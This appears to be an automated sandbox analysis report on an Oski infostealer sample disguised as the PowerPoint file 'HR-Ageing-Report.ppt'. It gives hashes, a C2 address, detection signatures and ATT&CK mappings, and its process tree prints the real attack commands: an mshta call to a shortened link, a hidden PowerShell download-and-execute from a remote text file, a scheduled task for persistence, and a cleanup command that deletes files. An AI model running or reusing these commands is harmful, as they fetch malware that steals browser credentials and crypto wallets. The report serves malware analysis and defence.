oski | 8a7eedce7576affb0bcb4fad28a5fdb6c5581efa956aaba80193c18b475266c4

General

Target

HR-Ageing-Report.ppt
Size

82KB
MD5

e2c84712e1b4ff68b9d85729dbda044a
SHA1

c095064894d2ac8c0864d68d5de14324e49ce010
SHA256

8a7eedce7576affb0bcb4fad28a5fdb6c5581efa956aaba80193c18b475266c4
SHA512

a5af0aae421fdac20de13c008d4f5656f3efcc1d2805c75f467e097687056ea96e6e2981fe71b27dc05c0027904608b673f008ab248686a2a12c938af4ad07f3

Score

10^/10

oski infostealer spyware suricata

Malware Config

Extracted

Family

oski

C2

103.99.1.60/we/king/

Signatures

Oski
Oski is an infostealer targeting browser data, crypto wallets.
infostealer oski

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process	2764	3984	cmd.exe	POWERPNT.EXE

suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
suricata
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
suricata

Blocklisted process makes network request 12 IoCs

Processes:

mshta.exepowershell.exe

flow	pid	process
16	2756	mshta.exe
18	2756	mshta.exe
20	2756	mshta.exe
22	2756	mshta.exe
24	2756	mshta.exe
26	2756	mshta.exe
28	2756	mshta.exe
31	2756	mshta.exe
33	2756	mshta.exe
35	2756	mshta.exe
36	2756	mshta.exe
39	4088	powershell.exe

Downloads MZ/PE file
Loads dropped DLL 3 IoCs

Processes:

RegSvcs.exe

pid process

4480 RegSvcs.exe
4480 RegSvcs.exe
4480 RegSvcs.exe
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

pid	process
4480	RegSvcs.exe
4480	RegSvcs.exe
4480	RegSvcs.exe

Process spawned suspicious child process 1 IoCs

This child process is typically not spawned unless (for example) the parent process crashes. This typically indicates the parent process was unsuccessfully compromised.

Processes:

DW20.EXE

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process	3224	3984	DW20.EXE	POWERPNT.EXE

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 4088 set thread context of 4480 4088 powershell.exe RegSvcs.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

4216 2756 WerFault.exe mshta.exe
Checks processor information in registry 2 TTPs 1 IoCs
Processor information is often read in order to detect sandboxing environments.

Query Registry
T1012

System Information Discovery
T1082

Processes:

RegSvcs.exe

description ioc process

Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString RegSvcs.exe
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

2436 schtasks.exe
Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

4612 taskkill.exe
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

POWERPNT.EXE

pid process

3984 POWERPNT.EXE

description	pid	process	target process
PID 4088 set thread context of 4480	4088	powershell.exe	RegSvcs.exe

pid	pid_target	process	target process
4216	2756	WerFault.exe	mshta.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	RegSvcs.exe

pid	process
2436	schtasks.exe

pid	process
4612	taskkill.exe

Suspicious behavior: EnumeratesProcesses 21 IoCs

Processes:

POWERPNT.EXEpowershell.exeWerFault.exe

pid	process
3984	POWERPNT.EXE
3984	POWERPNT.EXE
4088	powershell.exe
4088	powershell.exe
4216	WerFault.exe
4216	WerFault.exe
4216	WerFault.exe
4216	WerFault.exe
4216	WerFault.exe
4216	WerFault.exe
4216	WerFault.exe
4216	WerFault.exe
4216	WerFault.exe
4216	WerFault.exe
4216	WerFault.exe
4216	WerFault.exe
4216	WerFault.exe
4216	WerFault.exe
4216	WerFault.exe
4216	WerFault.exe
4088	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exeWerFault.exetaskkill.exe

description pid process

Token: SeDebugPrivilege 4088 powershell.exe
Token: SeDebugPrivilege 4216 WerFault.exe
Token: SeDebugPrivilege 4612 taskkill.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

POWERPNT.EXE

pid process

3984 POWERPNT.EXE

description	pid	process
Token: SeDebugPrivilege	4088	powershell.exe
Token: SeDebugPrivilege	4216	WerFault.exe
Token: SeDebugPrivilege	4612	taskkill.exe

Suspicious use of WriteProcessMemory 23 IoCs

Processes:

POWERPNT.EXEcmd.exemshta.exepowershell.exeRegSvcs.execmd.exe

description	pid	process	target process
PID 3984 wrote to memory of 2764	3984	POWERPNT.EXE	cmd.exe
PID 3984 wrote to memory of 2764	3984	POWERPNT.EXE	cmd.exe
PID 2764 wrote to memory of 2756	2764	cmd.exe	mshta.exe
PID 2764 wrote to memory of 2756	2764	cmd.exe	mshta.exe
PID 2756 wrote to memory of 4088	2756	mshta.exe	powershell.exe
PID 2756 wrote to memory of 4088	2756	mshta.exe	powershell.exe
PID 2756 wrote to memory of 2436	2756	mshta.exe	schtasks.exe
PID 2756 wrote to memory of 2436	2756	mshta.exe	schtasks.exe
PID 4088 wrote to memory of 4480	4088	powershell.exe	RegSvcs.exe
PID 4088 wrote to memory of 4480	4088	powershell.exe	RegSvcs.exe
PID 4088 wrote to memory of 4480	4088	powershell.exe	RegSvcs.exe
PID 4088 wrote to memory of 4480	4088	powershell.exe	RegSvcs.exe
PID 4088 wrote to memory of 4480	4088	powershell.exe	RegSvcs.exe
PID 4088 wrote to memory of 4480	4088	powershell.exe	RegSvcs.exe
PID 4088 wrote to memory of 4480	4088	powershell.exe	RegSvcs.exe
PID 4088 wrote to memory of 4480	4088	powershell.exe	RegSvcs.exe
PID 4088 wrote to memory of 4480	4088	powershell.exe	RegSvcs.exe
PID 4480 wrote to memory of 4568	4480	RegSvcs.exe	cmd.exe
PID 4480 wrote to memory of 4568	4480	RegSvcs.exe	cmd.exe
PID 4480 wrote to memory of 4568	4480	RegSvcs.exe	cmd.exe
PID 4568 wrote to memory of 4612	4568	cmd.exe	taskkill.exe
PID 4568 wrote to memory of 4612	4568	cmd.exe	taskkill.exe
PID 4568 wrote to memory of 4612	4568	cmd.exe	taskkill.exe

C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\HR-Ageing-Report.ppt" /ou ""
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3984

C:\Windows\SYSTEM32\cmd.exe
cmd.exe rubishdata/Rmshta https://www.bitly.com/tuiwqgdbhsavdbnasvdkasghdhkjas
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2764

C:\Windows\system32\mshta.exe
mshta https://www.bitly.com/tuiwqgdbhsavdbnasvdkasghdhkjas
3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2756

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h i'E'x(iwr('https://ia601409.us.archive.org/20/items/sb_20210728/king.txt') -useB);
4⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4088

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
5⤵
- Loads dropped DLL
- Checks processor information in registry
- Suspicious use of WriteProcessMemory
PID:4480

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /pid 4480 & erase C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe & RD /S /Q C:\\ProgramData\\362438173169412\\* & exit
6⤵
- Suspicious use of WriteProcessMemory
PID:4568

C:\Windows\SysWOW64\taskkill.exe
taskkill /pid 4480
7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4612

C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""SECOTAKSA"" /F /tr ""\""MsHtA""\""http://1230948%1230948@randikhanaekminar.blogspot.com/p/kingnew.html\""
4⤵
- Creates scheduled task(s)
PID:2436

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 2756 -s 2668
4⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4216

C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\DW\DW20.EXE
"C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\DW\DW20.EXE" -x -s 3468
2⤵
- Process spawned suspicious child process
PID:3224

C:\Windows\system32\werfault.exe
werfault.exe /h /shared Global\d05b4775321b4a029de5ee66d6febe0f /t 184 /p 3984
1⤵
PID:1192

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Credential Access

Credentials in Files

1

T1081

Discovery

System Information Discovery

2

T1082

Query Registry

1

T1012

Lateral Movement

Collection

Data from Local System

1

T1005

Exfiltration

Command and Control

Impact

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Downloads

\ProgramData\mozglue.dll
MD5
8f73c08a9660691143661bf7332c3c27

SHA1
37fa65dd737c50fda710fdbde89e51374d0c204a

SHA256
3fe6b1c54b8cf28f571e0c5d6636b4069a8ab00b4f11dd842cfec00691d0c9cd

SHA512
0042ecf9b3571bb5eba2de893e8b2371df18f7c5a589f52ee66e4bfbaa15a5b8b7cc6a155792aaa8988528c27196896d5e82e1751c998bacea0d92395f66ad89

Download Submit
\ProgramData\nss3.dll
MD5
bfac4e3c5908856ba17d41edcd455a51

SHA1
8eec7e888767aa9e4cca8ff246eb2aacb9170428

SHA256
e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

SHA512
2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

Download Submit
\ProgramData\sqlite3.dll
MD5
e477a96c8f2b18d6b5c27bde49c990bf

SHA1
e980c9bf41330d1e5bd04556db4646a0210f7409

SHA256
16574f51785b0e2fc29c2c61477eb47bb39f714829999511dc8952b43ab17660

SHA512
335a86268e7c0e568b1c30981ec644e6cd332e66f96d2551b58a82515316693c1859d87b4f4b7310cf1ac386cee671580fdd999c3bcb23acf2c2282c01c8798c

Download Submit
memory/2436-197-0x0000000000000000-mapping.dmp

Download
memory/2756-194-0x0000000000000000-mapping.dmp

Download
memory/2764-186-0x0000000000000000-mapping.dmp

Download
memory/3984-119-0x00007FFB8DE80000-0x00007FFB8DE90000-memory.dmp

Filesize
64KB

Download
memory/3984-123-0x00007FFBA8820000-0x00007FFBAA715000-memory.dmp

Filesize
31.0MB

Download
memory/3984-130-0x00007FFB8AA10000-0x00007FFB8AA20000-memory.dmp

Filesize
64KB

Download
memory/3984-131-0x00007FFB8AA10000-0x00007FFB8AA20000-memory.dmp

Filesize
64KB

Download
memory/3984-122-0x00007FFBAD070000-0x00007FFBAE15E000-memory.dmp

Filesize
16.9MB

Download
memory/3984-118-0x00007FFBB0BE0000-0x00007FFBB27BD000-memory.dmp

Filesize
27.9MB

Download
memory/3984-117-0x00007FFB8DE80000-0x00007FFB8DE90000-memory.dmp

Filesize
64KB

Download
memory/3984-116-0x00007FFB8DE80000-0x00007FFB8DE90000-memory.dmp

Filesize
64KB

Download
memory/3984-114-0x00007FFB8DE80000-0x00007FFB8DE90000-memory.dmp

Filesize
64KB

Download
memory/3984-115-0x00007FFB8DE80000-0x00007FFB8DE90000-memory.dmp

Filesize
64KB

Download
memory/4088-202-0x000002595A290000-0x000002595A291000-memory.dmp

Filesize
4KB

Download
memory/4088-211-0x00000259726D0000-0x00000259726D1000-memory.dmp

Filesize
4KB

Download
memory/4088-216-0x00000259725C6000-0x00000259725C8000-memory.dmp

Filesize
8KB

Download
memory/4088-218-0x000002595A300000-0x000002595A303000-memory.dmp

Filesize
12KB

Download
memory/4088-210-0x00000259725C3000-0x00000259725C5000-memory.dmp

Filesize
8KB

Download
memory/4088-209-0x00000259725C0000-0x00000259725C2000-memory.dmp

Filesize
8KB

Download
memory/4088-196-0x0000000000000000-mapping.dmp

Download
memory/4480-219-0x0000000000400000-0x0000000000438000-memory.dmp

Filesize
224KB

Download
memory/4480-220-0x000000000040717B-mapping.dmp

Download
memory/4480-224-0x0000000000400000-0x0000000000438000-memory.dmp

Filesize
224KB

Download
memory/4568-228-0x0000000000000000-mapping.dmp

Download
memory/4612-229-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads